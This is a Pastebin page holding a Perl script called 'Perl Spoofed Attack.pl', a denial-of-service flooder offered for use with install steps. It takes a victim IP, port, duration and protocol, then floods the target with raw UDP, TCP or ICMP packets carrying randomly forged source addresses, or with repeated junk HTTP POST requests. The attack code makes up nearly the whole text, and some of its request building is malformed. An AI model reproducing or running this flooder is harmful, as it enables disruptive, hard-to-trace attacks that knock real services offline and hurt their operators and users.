KhaosBringer

Perl Spoofed Attack.pl

Nov 24th, 2018
1,124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 10.24 KB | None | 0 0
  1. <!-----
  2. Requierements
  3. Perl
  4. Term::ANSIColor
  5. Net::RawIP
  6.  
  7.  
  8. Install the lib
  9. yum install cpan // apt-get install cpan
  10. cpan
  11. install Net::RawIP
  12. install Term::ANSIColor
  13. ---->
  14.  
  15. #!/usr/bin/perl
  16. use Term::ANSIColor;
  17. use Net::RawIP;
  18. use IO::Socket::INET;
  19.  
  20. ( $PROG = $0 ) =~ s/^.*[\/\\]//;
  21.  
  22. if ( @ARGV == 0 ) {
  23.         print "Usage : ./$PROG [IP] [Port] [Time] [Protocol] \n\n";
  24.         print "Protocols :  \n\n-UDP\n-TCP\n-ICMP\n-HTTP\n";
  25.     exit;
  26. }
  27.  
  28. my $size = 'ABABABAZERTYUIOP1234567890CD123456789AZERTYUIOPQSDFGHJKLMEFGHIJKLMNOPKRSTUVWXYZ​CDEFEFGHIJKLMNOPQRSTUVWXYZ123456789abcdefghijklmnopqrGEFGHIJKLMNOPQRSTUVWXYZ1234​56789abcdefghijklmnopqrEFGHIJKLMNOPQRSTUVWXYZ123456789abcdefghijklmnopqrEFGHIJKL​MNOPQRSTUVWXYZ123456789abcdefghijklmnopqrHIJKLMNOPQREFGHIJKLMNOPQRSTUVWXYZ123456​789abcdefghijklmnopqrEFGHIJKLMNOPQRSTUVWXYZ123456789abcdefghijklmnopqrEFGHIJKLMN​OPQRSTUVWXYZ123456789abcdefghijklmnopqrSTUVWXYZ123456789abcdefghijklmnopqrstuvwx​yzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQ​RSTUVWXYZ123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789a​bcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789abcdefghijklmnopqrst​uvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM​NOPQRSTUVWXYZ123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456​789abcdefghijklmQRSTUVWXYZ123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS​TUVWXYZ123456789abcdefghijklmnopqrstuvwxyz';
  29. my $victime = $ARGV[0];
  30. my $port = $ARGV[1];
  31. my $temps = $ARGV[2];
  32. my $proto = $ARGV[3];
  33. $endtime = time() + ($temps ? $temps : 1000000);
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41. my @referer = ('http://www.google.com/url?sa=t&rct=j&q=&eip_source=s&source=web&cd=1&url=$victime');
  42.  
  43. my @agent = ('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36',
  44. 'Mozilla/5.0 (Windows; I; Windows NT 5.1; ru; rv:1.9.2.13)',
  45. 'Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0',
  46. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:21.0) Gecko/20100101 Firefox/21.0',
  47. 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)',
  48. 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)',
  49. 'Mozilla/5.0 (Linux; U; Android 4.2.2; zh-cn; LNV-Lenovo K910e/S100; 1080*1920; CTC/2.0) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safa',
  50. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36',
  51. 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1',
  52. 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0',
  53. 'Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.02 [en]',
  54. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36',
  55. 'Lynx/2.8.8dev.12 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/2.12.14',
  56. 'Opera/9.20 (Windows NT 6.0; U; en)',
  57. 'Mozilla/5.0 (X11; Linux) KHTML/4.9.1 (like Gecko) Konqueror/4.9',
  58. 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  59. 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  60. 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  61. 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-fr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  62. 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; es-es) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  63. 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  64. 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-gb) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  65. 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; de-de) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27',
  66. 'Mozilla/5.0 (X11; Linux 3.5.4-1-ARCH i686; es) KHTML/4.9.1 (like Gecko) Konqueror/4.9',
  67. 'Mozilla/5.0 (compatible; Konqueror/3.5; SunOS)',
  68. 'Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)',
  69. 'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25',
  70. 'Mozilla/5.0 (X11) KHTML/4.9.1 (like Gecko) Konqueror/4.9)');
  71.  
  72. my $foke =
  73. "\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30".
  74. "\x48\x6f\x73\x74\x3a\x20\0x687474703a2f2f", pack("H*", $victime).
  75. "\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e​\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x75\x72\x6c\x3f\x73\x61\x3d\x74\x26​\x72\x63\x74\x3d\x6a\x26\x71\x3d\x26\x65\x73\x72\x63\x3d\x73\x26\x73\x6f\x75\x72​\x63\x65\x3d\x77\x65\x62\x26\x63\x64\x3d\x31\x26\x75\x72\x6c\x3d\0x687474703a2f2​f", pack("H*", $victime).
  76. "\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69​\x76\x65";
  77.  
  78. my $reqq =
  79. "POST / HTTP/1.0\r\n".
  80. "Referer: {foreach (sort {int(rand(1))-1} @referer)}\r\n".
  81. "Content-Type: application/x-www-form-urlencoded\r\n".
  82. "Connection: Keep-Alive\r\n".
  83. "User-Agent: {foreach (sort {int(rand(1))-1} @agent)}\r\n".
  84. "Host: $victime\r\n".
  85. "\r\n".
  86. "skype=00000&host=00000&login=00000&password=00000&pseudo=00000&about=00000&test=00000&home=00000&page=00000&pages=00000&info=00000&infos=00000&check=00000&verif=00000&port=00000&time=00000&temps=00000&key=00000&news=00000&submit=00000&msg=00000&message=00000&link=00000&url=00000&email=00000@00000.cn&mail=00000@00000.cn&show=00000&id=00000\r\n";
  87.  
  88.  
  89.  
  90.  
  91.  
  92.  
  93.  
  94.  
  95. if( $proto eq 'UDP' )
  96.  
  97.                 {
  98.                
  99.  
  100. print "\033[2J";    #clear the screen
  101. print "\033[0;0H"; #jump to 0,0
  102.  
  103.  
  104.                
  105.                     print color ("red"),"[+]",color("reset"),"Start Flooding .... ";
  106.                     print color ("red"),"[+]",color("reset"),"\n";
  107.                     for (;time() <= $endtime;) {
  108.                                                     my $port_source = int(rand(65534)+1);
  109.                                                     my $ip_source = join ".", map int rand 255, 1 .. 4;
  110.                                                    
  111.                                                     my $sport = int(rand(255));
  112.                                                     $frag = int(rand(2));
  113.  
  114.                                                     my $packet = new Net::RawIP({
  115.                                                             ip => {
  116.                                                                     saddr => $ip_source,
  117.                                                                     daddr => $victime,
  118.                                                                     frag_off => $frag,
  119.                                                                     },
  120.                                                             udp => {
  121.                                                                     source => $sport,
  122.                                                                     dest => $port,
  123.                                                                     data=> $size,
  124.                                                                     }
  125.                                                                                 });
  126.  
  127.                                                     $packet->send;
  128.      
  129.      
  130.                                                 }
  131.        
  132.                 }
  133.    
  134.  
  135.    
  136.  
  137. if( $proto eq 'TCP' ) {
  138. print "\033[2J";    #clear the screen
  139. print "\033[0;0H"; #jump to 0,0
  140.  
  141.         print color ("red"),"[+]",color("reset"),"Start Flooding ....";
  142.                     print color ("red"),"[+]",color("reset"),"\n";
  143.  
  144.     for (;time() <= $endtime;) {
  145.  
  146.         my( $pktct, $sport, $frag, $urg, $psh, $rst, $fin, $syn, $ack);
  147.         my $port_source = int(rand(65534)+1);
  148.         my $ip_source = join ".", map int rand 255, 1 .. 4;
  149.        
  150.  
  151.    
  152.         $frag = int(rand(2));
  153.         $urg = int(rand(2));
  154.         $psh = int(rand(2));
  155.         $rst = int(rand(2));
  156.         $fin = int(rand(2));
  157.         $syn = int(rand(2));
  158.         $ack = int(rand(2));
  159.      
  160.  
  161.         my $packet = new Net::RawIP({
  162.             ip => {
  163.                 saddr => $ip_source,
  164.                 daddr => $victime,
  165.                 frag_off => $frag,
  166.                   },
  167.             tcp => {
  168.                 source => $port_source,
  169.                 dest => $port,
  170.                 urg => $urg,
  171.                 psh => $psh,
  172.                 rst => $rst,
  173.                 fin => $fin,
  174.                 syn => $syn,
  175.                 ack => $ack,
  176.                 data => $size,
  177.                     }
  178.                                     });
  179.  
  180.         $packet->send;
  181.      
  182.      
  183.                                     }
  184.        
  185.                                 }
  186.    
  187.    
  188.    
  189.    
  190.     if( $proto eq 'ICMP' ) {
  191.    
  192.     print "\033[2J";    #clear the screen
  193. print "\033[0;0H"; #jump to 0,0
  194.     print color ("red"),"[+]",color("reset"),"Start Flooding ....";
  195.                     print color ("red"),"[+]",color("reset"),"\n";
  196. for (;time() <= $endtime;) {
  197.  
  198.     my($pktct, $code, $type, $frag);
  199.          my $port_source = int(rand(65534)+1);
  200.      my $ip_source = join ".", map int rand 255, 1 .. 4;
  201.    
  202.  
  203.  
  204.      $code = int(rand(255));
  205.       $type = int(rand(255));
  206.       $frag = int(rand(2));
  207.      
  208.  
  209.        my $packet = new Net::RawIP({
  210.          ip => {
  211.             saddr =>$ip_source,
  212.             daddr => $victime,
  213.             frag_off => $frag,
  214.          },
  215.          icmp => {
  216.             code => $code,
  217.             type => $type,
  218.          }
  219.       });
  220.  
  221.       $packet->send;
  222.      
  223.      
  224.        }
  225.        
  226.    }
  227.    
  228.    
  229.    
  230.    
  231.     if( $proto eq 'HTTP' ) {
  232.     print "\033[2J";    #clear the screen
  233. print "\033[0;0H"; #jump to 0,0
  234.     print color ("red"),"[+]",color("reset"),"Start Flooding ....";
  235.                     print color ("red"),"[+]",color("reset"),"\n";
  236.  
  237. for (;time() <= $endtime;) {
  238.        
  239.        
  240.        
  241.  
  242. $sock = IO::Socket::INET->new(PeerAddr => $victime, PeerPort => 80, Proto => "tcp") or next;
  243. print $sock $reqq;
  244. print $sock $foke;
  245. close($sock);
  246.        }
  247.        
  248.    }
Add Comment
Please, Sign In to add comment